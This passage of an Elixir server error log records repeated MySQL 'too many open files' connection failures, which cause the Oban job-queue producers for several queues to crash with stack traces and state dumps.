~U[2026-09-05 23:47:35.240008Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32167>, refresh_timer: #Reference<0.2525715032.1068498948.29533>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:48.931000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:49.972000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:59.092000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:59.755000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:47:47.244478Z], limit: 20, uuid: "db00781e-7b97-47c8-95be-5ee1f406a360", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:47.244484Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138317>, refresh_timer: #Reference<0.2525715032.1121189889.138304>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:47:47.244963Z], limit: 5, uuid: "48f951f6-bd54-4d9c-b149-cd5735490ece", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:47.244968Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138320>, refresh_timer: #Reference<0.2525715032.1077673987.2579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:47:47.243254Z], limit: 50, uuid: "bb9c6220-49ba-43ae-8dac-08ab6c4c1eb7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:47.243260Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138318>, refresh_timer: #Reference<0.2525715032.1121189889.138288>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:47:47.242110Z], limit: 10, uuid: "4cd4ae2d-d4fd-460b-a0a9-3ee9f3387377", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:47.242116Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32494>, refresh_timer: #Reference<0.2525715032.1099431938.32472>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:47:47.239816Z], limit: 3, uuid: "4585644e-478a-4b99-91ec-d22901594816", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:47.239823Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32495>, refresh_timer: #Reference<0.2525715032.1068498948.29561>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:47:47.245175Z], limit: 5, uuid: "dd734ca9-790c-4d1a-ad9f-942289942c81", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:47.245181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138319>, refresh_timer: #Reference<0.2525715032.1099431938.32486>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:00.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:00.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:01.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:02.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:06.641000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:07.264000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:10.182000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:48:00.239011Z], limit: 5, uuid: "06991fd2-efc5-46b0-b2e9-2d965a4e1938", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:00.239017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.2722>, refresh_timer: #Reference<0.2525715032.1077673987.2721>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:48:00.237910Z], limit: 20, uuid: "28849258-b986-40cf-86a2-8d2a49cef055", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:00.237916Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.138449>, refresh_timer: #Reference<0.2525715032.1121189889.138447>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
